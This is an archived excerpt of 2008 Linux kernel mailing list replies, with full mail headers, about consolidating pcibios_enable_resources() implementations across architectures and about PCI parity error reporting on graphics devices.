> In general, I'm wondering if the check for device class would be
> sufficient here to NOT enable PERR/SERR for graphics automatically.
> While disabling PERR was "the right thing" for older "mostly write"
> devices of the 1990's and early 2000, it might not be correct for
> current 3-D graphics devices which use host mem to buffer processed
> results. I'm thinking of Intel graphics controllers in particular
> but I don't know any details of how they actually work.

Well, in general chipset devices aren't required to support parity checking, 
AIUI; Intel gfx devices don't bother (PERR enable is hardwired to 0).

> I'm also a bit concerned about this now becuase (IIRC) AGP didn't
> implement parity though it looked like PCI protocol. PCI-e certainly
> does but it's possible BIOS/Firmware disable parity generation
> on the host bridge when connected to a gfx device.
> We wouldn't want to enable parity checking on a PCI-e gfx device in this
> case and I hope someone (perhaps at Intel) could double check this.

I'd have to ping our BIOS folks to see if that's the case, but I doubt it.  It 
would be a bad idea to disable any PCIe error reporting (including legacy 
error mapping) just because a gfx device was attached.  Apparently the AMD 
PCIe parts include PERR generation, so disabling upstream reporting at boot 
time seems like it would be an outright bug; it should be left up to driver & 
OS software.

Jesse


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Barnes <jbarnes-Y1mF5jBUw70BENJcbMCuUQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 6/6] PCI: consolidate several pcibios_enable_resources() implementations
Date: Mon, 3 Mar 2008 10:45:06 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <200803031045.07054.jbarnes@virtuousgeek.org>
References: <20080228000437.880811124@ldl.fc.hp.com> <20080228001053.404893334@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204569988 5341 80.91.229.12 (3 Mar 2008 18:46:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 18:46:28 +0000 (UTC)
Cc: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Russell King <rmk-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	linux-arm-kernel-xIg/pKzrS19vn6HldHNs0ANdhmdF6hFW@public.gmane.org,
	Kyle McMartin <kyle-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Matthew Wilcox <matthew-Ztpu424NOJ8@public.gmane.org>,
	Grant Grundler <grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	linuxppc-dev-mnsaURCQ41sdnm+yROfE0A@public.gmane.org, Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>
To: linux-pci-jyMamyUUXNJG4ohzP4jBZS1Fcj925eT/@public.gmane.org
Original-X-From: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Mar 03 19:46:50 2008
Return-path: <linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWFgO-0004li-U7
	for glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Mon, 03 Mar 2008 19:46:41 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1755503AbYCCSpx (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 3 Mar 2008 13:45:53 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1759989AbYCCSpx
	(ORCPT <rfc822;linux-arch-outgoing>); Mon, 3 Mar 2008 13:45:53 -0500
Original-Received: from outbound-mail-29.bluehost.com ([69.89.17.211]:57958 "HELO
	outbound-mail-29.bluehost.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1759942AbYCCSpv (ORCPT
	<rfc822;linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 3 Mar 2008 13:45:51 -0500
Original-Received: (qmail 27930 invoked by uid 0); 3 Mar 2008 18:45:50 -0000
Original-Received: from unknown (HELO box128.bluehost.com) (69.89.22.128)
  by mailproxy2.bluehost.com with SMTP; 3 Mar 2008 18:45:50 -0000
Original-Received: from [75.111.27.49] (helo=ak-157.ak.intel.com)
	by box128.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.68)
	(envelope-from <jbarnes-Y1mF5jBUw70BENJcbMCuUQ@public.gmane.org>)
	id 1JWFfa-00029p-3s; Mon, 03 Mar 2008 11:45:50 -0700
User-Agent: KMail/1.9.6 (enterprise 0.20071204.744707)
In-Reply-To: <20080228001053.404893334-e+Ta4ugHZmL3oGB3hsPCZA@public.gmane.org>
Content-Disposition: inline
X-Identified-User: {642:box128.bluehost.com:virtuous:virtuousgeek.org} {sentby:smtp auth 75.111.27.49 authed with jbarnes-Y1mF5jBUw70BENJcbMCuUQ@public.gmane.org}
Original-Sender: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:20 gmane.linux.ports.arm.kernel:39169 gmane.linux.ports.parisc:161 gmane.linux.ports.ppc64.devel:36570
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/161>

On Wednesday, February 27, 2008 4:04 pm Bjorn Helgaas wrote:
> There are many implementations of pcibios_enable_resources() that differ
> in minor ways that look more like bugs than architectural differences.
>
> This patch consolidates most of them to use the version annotated below.
> This is the original x86 version, except that it uses the resource
> collision check from powerpc at (5):

Looks really good to me, definitely a step in the right direction.

> The mips/pmc-sierra implementation of pcibios_enable_resources() is
> cluttered with a bunch of titan stuff, so I can't immediately consolidate
> it with the others.  So I made the generic version "weak" so pmc-sierra
> can override it.
>
> Not-Yet-Signed-off-by: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>

So you'd like to see the MIPS stuff cleaned up a bit more first before actual 
sign-off?  Or just more testing?

>  18 files changed, 43 insertions(+), 507 deletions(-)

Nice diffstat. :)

Jesse
--
To unsubscribe from this list: send the line "unsubscribe linux-arch" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 6/6] PCI: consolidate several pcibios_enable_resources() implementations
Date: Mon, 3 Mar 2008 12:10:46 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <200803031210.47906.bjorn.helgaas@hp.com>
References: <20080228000437.880811124@ldl.fc.hp.com> <20080228001053.404893334@ldl.fc.hp.com> <200803031045.07054.jbarnes@virtuousgeek.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204571340 12054 80.91.229.12 (3 Mar 2008 19:09:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 19:09:00 +0000 (UTC)
Cc: linux-pci-jyMamyUUXNJG4ohzP4jBZS1Fcj925eT/@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Russell King <rmk-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	linux-arm-kernel-xIg/pKzrS19vn6HldHNs0ANdhmdF6hFW@public.gmane.org,
	Kyle McMartin <kyle-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Matthew Wilcox <matthew-Ztpu424NOJ8@public.gmane.org>,
	Grant Grundler <grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	linuxppc-dev-mnsaURCQ41sdnm+yROfE0A@public.gmane.org, Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>
To: Jesse Barnes <jbarnes-Y1mF5jBUw70BENJcbMCuUQ@public.gmane.org>
Original-X-From: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Mar 03 20:09:22 2008
Return-path: <linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWG2J-0004Ic-W1
	for glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Mon, 03 Mar 2008 20:09:20 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752747AbYCCTIq (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 3 Mar 2008 14:08:46 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1753547AbYCCTIp
	(ORCPT <rfc822;linux-arch-outgoing>); Mon, 3 Mar 2008 14:08:45 -0500
Original-Received: from g4t0015.houston.hp.com ([15.201.24.18]:15819 "EHLO
	g4t0015.houston.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752747AbYCCTIo (ORCPT
	<rfc822;linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 3 Mar 2008 14:08:44 -0500
Original-Received: from g4t0015.houston.hp.com (localhost.localdomain [127.0.0.1])
	by receive-from-antispam-filter (Postfix) with SMTP id BC7138093;
	Mon,  3 Mar 2008 19:08:43 +0000 (UTC)
Original-Received: from smtp2.fc.hp.com (smtp.cnd.hp.com [15.11.136.114])
	by g4t0015.houston.hp.com (Postfix) with ESMTP id E8FF6800B;
	Mon,  3 Mar 2008 19:08:42 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 2A91425115B;
	Mon,  3 Mar 2008 19:08:42 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id ED637134008;
	Mon,  3 Mar 2008 12:08:41 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9K5hzUvIlZqq; Mon,  3 Mar 2008 12:08:40 -0700 (MST)
Original-Received: from tigger.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id 84322134006;
	Mon,  3 Mar 2008 12:08:40 -0700 (MST)
User-Agent: KMail/1.9.6 (enterprise 0.20070907.709405)
In-Reply-To: <200803031045.07054.jbarnes-Y1mF5jBUw70BENJcbMCuUQ@public.gmane.org>
Content-Disposition: inline
Original-Sender: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:21 gmane.linux.ports.arm.kernel:39170 gmane.linux.ports.parisc:162 gmane.linux.ports.ppc64.devel:36571
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/162>

On Monday 03 March 2008 11:45:06 am Jesse Barnes wrote:
> On Wednesday, February 27, 2008 4:04 pm Bjorn Helgaas wrote:
> >
> > Not-Yet-Signed-off-by: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>
> 
> So you'd like to see the MIPS stuff cleaned up a bit more first before actual 
> sign-off?  Or just more testing?

I think it'd be *nice* if that MIPS stuff got cleaned up, but that's
way beyond my scope.  I just want to address Kyle's comments and make
sure I don't screw up ARM and PARISC.

Bjorn
--
To unsubscribe from this list: send the line "unsubscribe linux-arch" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 0/6] RFC: PCI: consolidate pcibios_enable_resources() implementations, v2
Date: Mon, 3 Mar 2008 19:44:09 +0000
Lines: 35
Approved: news@gmane.org
Message-ID: <20080303194408.GC20251@flint.arm.linux.org.uk>
References: <20080228000437.880811124@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204573552 21611 80.91.229.12 (3 Mar 2008 19:45:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 19:45:52 +0000 (UTC)
Cc: linux-pci-jyMamyUUXNJG4ohzP4jBZS1Fcj925eT/@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-arm-kernel-xIg/pKzrS19vn6HldHNs0ANdhmdF6hFW@public.gmane.org,
	Kyle McMartin <kyle-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Matthew Wilcox <matthew-Ztpu424NOJ8@public.gmane.org>,
	Grant Grundler <grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	linuxppc-dev-mnsaURCQ41sdnm+yROfE0A@public.gmane.org, Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>
To: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>
Original-X-From: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Mar 03 20:46:17 2008
Return-path: <linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWGbt-000168-Cs
	for glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Mon, 03 Mar 2008 20:46:05 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1756457AbYCCTpb (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 3 Mar 2008 14:45:31 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1756467AbYCCTpb
	(ORCPT <rfc822;linux-arch-outgoing>); Mon, 3 Mar 2008 14:45:31 -0500
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:42936 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756398AbYCCTpa (ORCPT
	<rfc822;linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 3 Mar 2008 14:45:30 -0500
Original-Received: from flint.arm.linux.org.uk ([2002:4e20:1eda:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.62)
	(envelope-from <rmk-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>)
	id 1JWGa5-0006io-0q; Mon, 03 Mar 2008 19:44:13 +0000
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.62)
	(envelope-from <rmk-f404yB8NqCZvn6HldHNs0ANdhmdF6hFW@public.gmane.org>)
	id 1JWGa1-0001lG-Sy; Mon, 03 Mar 2008 19:44:10 +0000
Mail-Followup-To: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>,
	linux-pci-jyMamyUUXNJG4ohzP4jBZS1Fcj925eT/@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-arm-kernel-xIg/pKzrS19vn6HldHNs0ANdhmdF6hFW@public.gmane.org,
	Kyle McMartin <kyle-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Matthew Wilcox <matthew-Ztpu424NOJ8@public.gmane.org>,
	Grant Grundler <grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	linuxppc-dev-mnsaURCQ41sdnm+yROfE0A@public.gmane.org, Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>
Content-Disposition: inline
In-Reply-To: <20080228000437.880811124-e+Ta4ugHZmL3oGB3hsPCZA@public.gmane.org>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:22 gmane.linux.ports.arm.kernel:39171 gmane.linux.ports.parisc:163 gmane.linux.ports.ppc64.devel:36575
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/163>

On Wed, Feb 27, 2008 at 05:04:37PM -0700, Bjorn Helgaas wrote:
> There are many implementations of pcibios_enable_resources() that differ
> in minor ways that look more like bugs than architectural differences.
> This patch series consolidates most of them to use the x86 version.
> 
> Changes between v1 and v2:
> 
>   - Moved ARM bridge enable to new platform_pci_enable_device(),
>     called by pcibios_enable_device()

Looks fine.  However, long term I've no idea what to do about this because
I don't remember the reasoning behind it.  So to change it risks breakage
of one sort or another.

It might have been something to do with the Mobility Cardbus docking
station, which adds a pair of P2P bridges onto the PCI chain downstream
of the Cardbus controller, and then a full PCI bus containing USB, VGA,
and other peripherals.

This _once_ used to work with Linux but I suspect as a result of "fixing"
other issues its now utterly broken.

In any case, that docking station isn't ARM specific in any way; merely
a toy Alan Cox sent me.  When I gave up my PCMCIA maintainership, I gave
up trying to keep it supported by Linux.

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:
--
To unsubscribe from this list: send the line "unsubscribe linux-arch" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel
Subject: Re: [patch 4/6] ARM: move bridge enable out of
	pcibios_enable_resources()
Date: Tue, 04 Mar 2008 07:35:57 +1100
Lines: 17
Approved: news@gmane.org
Message-ID: <1204576557.21545.4.camel@pasglop>
References: <20080228000437.880811124@ldl.fc.hp.com>
	<20080228001053.013269726@ldl.fc.hp.com>
	<200803030959.35625.jbarnes@virtuousgeek.org>
Reply-To: benh@kernel.crashing.org
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204576696 1933 80.91.229.12 (3 Mar 2008 20:38:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 20:38:16 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>,
	Kyle McMartin <kyle@parisc-linux.org>, linuxppc-dev@ozlabs.org,
	Paul Mackerras <paulus@samba.org>, linux-pci@atrey.karlin.mff.cuni.cz,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Russell King <rmk@arm.linux.org.uk>, Bjorn Helgaas <bjorn.helgaas@hp.com>
To: Jesse Barnes <jbarnes@virtuousgeek.org>
Original-X-From: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org Mon Mar 03 21:38:38 2008
Return-path: <linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org>
Envelope-to: glppd-linuxppc64-dev@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWHQV-0004f5-Lv
	for glppd-linuxppc64-dev@m.gmane.org; Mon, 03 Mar 2008 21:38:24 +0100
Original-Received: from ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 585D1DDFF9
	for <glppd-linuxppc64-dev@m.gmane.org>; Tue,  4 Mar 2008 07:37:44 +1100 (EST)
X-Original-To: linuxppc-dev@ozlabs.org
Delivered-To: linuxppc-dev@ozlabs.org
Original-Received: from gate.crashing.org (gate.crashing.org [63.228.1.57])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTP id 94A20DDE34
	for <linuxppc-dev@ozlabs.org>; Tue,  4 Mar 2008 07:37:05 +1100 (EST)
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id m23KaELc002557;
	Mon, 3 Mar 2008 14:36:15 -0600
In-Reply-To: <200803030959.35625.jbarnes@virtuousgeek.org>
X-Mailer: Evolution 2.12.1 
X-BeenThere: linuxppc-dev@ozlabs.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.ozlabs.org>
List-Unsubscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=unsubscribe>
List-Archive: <http://ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@ozlabs.org?subject=help>
List-Subscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org
Errors-To: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc64.devel:36577 gmane.linux.kernel.cross-arch:24 gmane.linux.ports.parisc:164 gmane.linux.ports.arm.kernel:39180
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/164>


On Mon, 2008-03-03 at 09:59 -0800, Jesse Barnes wrote:
> On Wednesday, February 27, 2008 4:04 pm Bjorn Helgaas wrote:
> > Move bridge enable from pcibios_enable_resources() to
> > platform_pci_enable_device() so the former matches other
> > architectures and can be shared.
> 
> I really like the direction of these patches.  Getting PCI resources assigned 
> & devices setup correctly for new arches has always been a bit more trouble 
> than it should be...

You'll noticed that I recently moved powerpc to something more common to
x86 in the are of resource allocation. Still -slightly- different but I
do believe there is room for somebody with some skills to try to turn
some of that into generic code.

Ben.

From - Thu Nov 08 21:02:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Barnes <jbarnes@virtuousgeek.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 4/6] ARM: move bridge enable out of pcibios_enable_resources()
Date: Mon, 3 Mar 2008 12:43:51 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <200803031243.51613.jbarnes@virtuousgeek.org>
References: <20080228000437.880811124@ldl.fc.hp.com> <200803030959.35625.jbarnes@virtuousgeek.org> <1204576557.21545.4.camel@pasglop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204577091 3454 80.91.229.12 (3 Mar 2008 20:44:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Mar 2008 20:44:51 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz,
	Bjorn Helgaas <bjorn.helgaas@hp.com>,
	linux-arch@vger.kernel.org, Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: benh@kernel.crashing.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 03 21:45:15 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWHX5-0007Fb-27
	for glpp-linux-parisc@gmane.org; Mon, 03 Mar 2008 21:45:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753097AbYCCUoh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 3 Mar 2008 15:44:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752948AbYCCUoh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 3 Mar 2008 15:44:37 -0500
Original-Received: from outbound-mail-30.bluehost.com ([69.89.17.212]:39296 "HELO
	outbound-mail-30.bluehost.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1752146AbYCCUog (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 3 Mar 2008 15:44:36 -0500
Original-Received: (qmail 15116 invoked by uid 0); 3 Mar 2008 20:44:35 -0000
Original-Received: from unknown (HELO box128.bluehost.com) (69.89.22.128)
  by mailproxy2.bluehost.com with SMTP; 3 Mar 2008 20:44:35 -0000
Original-Received: from [75.111.27.49] (helo=ak-157.ak.intel.com)
	by box128.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.68)
	(envelope-from <jbarnes@virtuousgeek.org>)
	id 1JWHWU-000854-Ga; Mon, 03 Mar 2008 13:44:34 -0700
User-Agent: KMail/1.9.6 (enterprise 0.20071204.744707)
In-Reply-To: <1204576557.21545.4.camel@pasglop>
Content-Disposition: inline
X-Identified-User: {642:box128.bluehost.com:virtuous:virtuousgeek.org} {sentby:smtp auth 75.111.27.49 authed with jbarnes@virtuousgeek.org}
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:165 gmane.linux.kernel.cross-arch:25 gmane.linux.ports.arm.kernel:39181 gmane.linux.ports.ppc64.devel:36578
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/165>

On Monday, March 03, 2008 12:35 pm Benjamin Herrenschmidt wrote:
> On Mon, 2008-03-03 at 09:59 -0800, Jesse Barnes wrote:
